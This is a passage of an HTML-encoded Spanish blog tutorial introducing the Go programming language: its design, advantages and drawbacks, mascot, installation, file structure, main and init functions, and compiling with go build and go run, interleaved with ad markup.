data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;que-es-go-un-poco-sobre-el-lenguaje-de-programacion&#34;&gt;¿Qué es Go? Un poco sobre el lenguaje de programación&lt;/h2&gt;&#xA;&lt;p&gt;Go, también llamado Golang, es un lenguaje de programación con una sintaxis muy parecida a la de C y con ciertas abstracciones en su sintaxis que lo vuelven un lenguaje en el que escribir código es muy sencillo, la verdad es que la sensación es de una mezcla entre C y Python.&lt;/p&gt;&#xA;&lt;p&gt;El diseño de Go como lenguaje de programación está basado en un documento llamado: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.cs.ox.ac.uk/files/6156/H78%20-%20Everything.pdf&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Everything you&amp;rsquo;ve wanted to know about programming languages but have been afraid to ask&lt;/a&gt;&#xA; escrito por Tony Hoare (El creador del argumento quicksort). En el que se enfatiza la importancia de aspectos tales como:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Elegancia y simplicidad&lt;/li&gt;&#xA;&lt;li&gt;Buenas abstracciones que oculten los detalles de implementación&lt;/li&gt;&#xA;&lt;li&gt;Código predecible&lt;/li&gt;&#xA;&lt;li&gt;Manejo de errores simple&lt;/li&gt;&#xA;&lt;li&gt;Compilación extremadamente rápida&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Estamos ante un lenguaje compilado, imperativo, &lt;strong&gt;fuertemente centrado en la concurrencia&lt;/strong&gt; y con tipado estático.&lt;/p&gt;&#xA;&lt;p&gt;Si de verdad te interesa el tema, encontré este video que resume bastante bien la historia y la filosofía que existe detrás de Go y te lo comparto:&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/xSwJGMl--lA?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;aspectos-geniales-o-ventajas-del-lenguaje-go&#34;&gt;Aspectos geniales o ventajas del lenguaje Go&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;El lenguaje es bastante simple&lt;/strong&gt; Es un lenguaje con muy pocas palabras clave y pocas funcionalidades. Puedes aprenderlo en muy poco tiempo.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;El compilador de Go es super rápido&lt;/strong&gt; Dado que tiene pocas palabras claves y el lenguaje es bastante simple, go compila rapidísimo comparado con otros lenguajes de programación.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;El manejo de concurrencia es sencillo&lt;/strong&gt; Go fue diseñado como un lenguaje concurrente, crear &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-uso-de-channels-o-canales-para-comunicar-goroutinas/&#34;&gt;concurrencia con las goroutines&lt;/a&gt;&#xA; es bastante sencillo&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Crear aplicaciones web es bastante sencillo&lt;/strong&gt; Go incorpora en su librería estandar muchísimas utilidades para crear servidores web, por lo que incluso puedes usarlo sin usar ningún framework, para aplicaciones sencillas, y no tendrás ningún problema. Definitivamente un lenguaje &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/no-te-obsesiones-con-el-rendimiento-de-tu-aplicacion-web/#herramientas-to-get-shit-done&#34;&gt;&lt;em&gt;to get shit done&lt;/em&gt;&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;mal-diseno-y-desventajas-del-lenguaje-go&#34;&gt;Mal diseño y desventajas del lenguaje Go&lt;/h2&gt;&#xA;&lt;p&gt;Para hacer este análisis lo más objetivo posible, a continuación, te explico algunos aspectos controversiales de go que no son vistos con buenos ojos por algunos desarrolladores.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/images/ManejoErroresGo.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/images/ManejoErroresGo.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Manejo de errores con Go con if&#34; width=&#34;493&#34; height=&#34;80&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Este patrón es bastante recurrente en las aplicaciones y llega a ser tedioso&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Go carece de soporte para clases&lt;/strong&gt; de manera directa. Pero no todo está perdido, porque sí cuenta con ciertas características que lo dotan de funcionalidades de la POO, tales como polimorfismo y clases, por medio de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-structs-herencia-polimorfismo-y-encapsulacion/&#34;&gt;interfaces, structs y embedded values&lt;/a&gt;&#xA;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Go no cuenta con manejo de excepciones con bloques try y catch o equivalentes.&lt;/strong&gt; Sino que los errores deben devolverse como valor de retorno en una función y se manejan comprobando que esta no sea nula (nil), por medio de bloques if. Lo anterior puede volverse bastante verboso y repetitivo.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/images/if-err-not-equal-nil.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/images/if-err-not-equal-nil.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Manejo de errores recurrente y repetitivo en Go&#34; width=&#34;770&#34; height=&#34;478&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;If err!= nil en todos lados, el manejo de errores en Go debería ser mejor&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;No existen argumentos por defecto en go&lt;/strong&gt;, lo que aumenta la cantidad de código a escribir para lidiar con valores predeterminados.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;No cuenta con manejo manual de memoria&lt;/strong&gt;, go usa un garbage collector, lo cual simplifica el manejo de memoria enormemente, pero limita la administración más granular de memoria, esta fue una de las razones por las cuales &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://discord.com/blog/why-discord-is-switching-from-go-to-rust&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;discord migró de Go a Rust.&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;del&gt;Go no cuenta con generics&lt;/del&gt;&lt;/strong&gt; Go ya cuenta con soporte para generics desde su version 1.18.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;buenas-practicas-de-codigo-en-el-lenguaje-go&#34;&gt;Buenas prácticas de código en el lenguaje Go&lt;/h2&gt;&#xA;&lt;p&gt;Go está fuertemente orientado a las buenas prácticas de código. ¿Cómo lo hace? El compilador fuerza buenas prácticas en el código, impidiendo que el código compile si hay variables o importaciones que no se usan, o si no se respetan las reglas de la privacidad de nuestras propiedades y funciones, entre otras.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/images/ErrorCompilacionGo.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/images/ErrorCompilacionGo.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Error de compilación en go por variables sin usar&#34; width=&#34;531&#34; height=&#34;222&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;La compilación no se permite si hay variables sin usar.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Sin embargo no te obliga a revisar punteros hacia nil, volviéndo estos los errores más difíciles de debuggear, por lo cual yo lo considero una parte débil del lenguaje.&lt;/p&gt;&#xA;&lt;h2 id=&#34;go-tiene-la-mejor-mascota-gopher&#34;&gt;Go tiene la mejor mascota: Gopher&lt;/h2&gt;&#xA;&lt;p&gt;La mascota oficial es una ardilla de tierra y es muy común entre la comunidad usarla para ilustrar el contenido relacionado con go. Este Sartre en versión roedor azul es tan popular entre los desarrolladores que existen herramientas, como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://gopherize.me&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Gopherizme&lt;/a&gt;&#xA;, para crear avatares personalizados. El impacto de la mascota es tal, que muchos desarrolladores la usan a manera de logo, aunque el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://blog.golang.org/go-brand&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;logo oficial de go&lt;/a&gt;&#xA; ya ha sido definido.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/images/GoMascotAndLogo.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/images/GoMascotAndLogo.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Mascota y logo de go&#34; width=&#34;800&#34; height=&#34;400&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;A la izquierda la mascota de Go. A la derecha el logo oficial&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;instalacion-de-go&#34;&gt;Instalación de Go&lt;/h2&gt;&#xA;&lt;p&gt;Go se encuentra en la mayoría de los repositorios de las distribuciones de GNU/Linux. En debian y ubuntu se instala usando el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-passwd-du-useradd-usermod-fdisk-apt/&#34;&gt;comando apt install&lt;/a&gt;&#xA; como cualquier otro paquete.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install golang&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Las instrucciones de instalación para Freebsd, windows y macosx serán diferentes.&lt;/p&gt;&#xA;&lt;h2 id=&#34;estructura-de-un-archivo-de-go&#34;&gt;Estructura de un archivo de go&lt;/h2&gt;&#xA;&lt;p&gt;Los archivos de go se estructuran de la siguiente manera y en este orden:&lt;/p&gt;&#xA;&lt;h3 id=&#34;nombre-del-paquete&#34;&gt;Nombre del paquete&lt;/h3&gt;&#xA;&lt;p&gt;Una sección donde se declara el nombre del paquete después de la palabra &lt;em&gt;package&lt;/em&gt;. El nombre del paquete nos servirá para hacer importaciones de nuestros modulos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;package main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;importaciones&#34;&gt;Importaciones&lt;/h3&gt;&#xA;&lt;p&gt;Una sección donde se importan todos los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-importacion-de-paquetes-y-manejo-de-modulos/&#34;&gt;paquetes de go&lt;/a&gt;&#xA; que se usarán. Para ello usamos la palabra &lt;em&gt;import&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;import &amp;ldquo;fmt&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;Múltiples importaciones pueden colocarse dentro de paréntesis, sin comas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;strconv&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;contenido&#34;&gt;Contenido&lt;/h3&gt;&#xA;&lt;p&gt;El contenido del archivo, es decir declaraciones de variables, types, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-functions-arguments-and-the-fmt-package/&#34;&gt;funciones&lt;/a&gt;&#xA;, constantes, etc.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello world!&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;el-paquete-main&#34;&gt;El paquete main&lt;/h2&gt;&#xA;&lt;p&gt;Go requiere de un paquete principal llamado &lt;em&gt;main&lt;/em&gt;, que se especificará colocando &lt;em&gt;package main&lt;/em&gt; al principio de nuestro código fuente.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;la-funcion-main&#34;&gt;La función main&lt;/h3&gt;&#xA;&lt;p&gt;La función &lt;em&gt;main&lt;/em&gt; es el punto de partida de un archivo de go, como lo sería en C, y no retorna nada.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Ejecutando el programa&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;funcion-init-en-go&#34;&gt;Función init en Go&lt;/h3&gt;&#xA;&lt;p&gt;Antes del punto de entrada del programa (la función &lt;em&gt;main&lt;/em&gt;) se ejecuta una función init, esta puede contener todas las inicializaciones necesarias para la ejecución del programa.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;init&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Inicializando el programa principal&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Ejecutando el programa&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;como-compilar-y-ejecutar-un-archivo-de-go&#34;&gt;Como compilar y ejecutar un archivo de go&lt;/h2&gt;&#xA;&lt;p&gt;Dado que go es un lenguaje compilado, requiere la compilación del código antes de poder ejecutar el código. El compilado se realiza con el comando build.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; build src&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;main.&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tras el compilado tendremos un archivo que podremos ejecutar.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;También &lt;strong&gt;es posible compilar y correr el código en un solo paso&lt;/strong&gt; usando run en lugar de go.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; run src&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;main.&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;diferencias-entre-run-y-build-en-el-lenguaje-go&#34;&gt;Diferencias entre run y build en el lenguaje Go&lt;/h3&gt;&#xA;&lt;p&gt;La diferencia entre build y run radica en que &lt;strong&gt;run compila el código y lo ejecuta desde un directorio temporal&lt;/strong&gt;, y posteriormente limpia los archivos generados. Si agregamos el flag &amp;ndash;work, podremos ver la ubicación de este directorio.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; 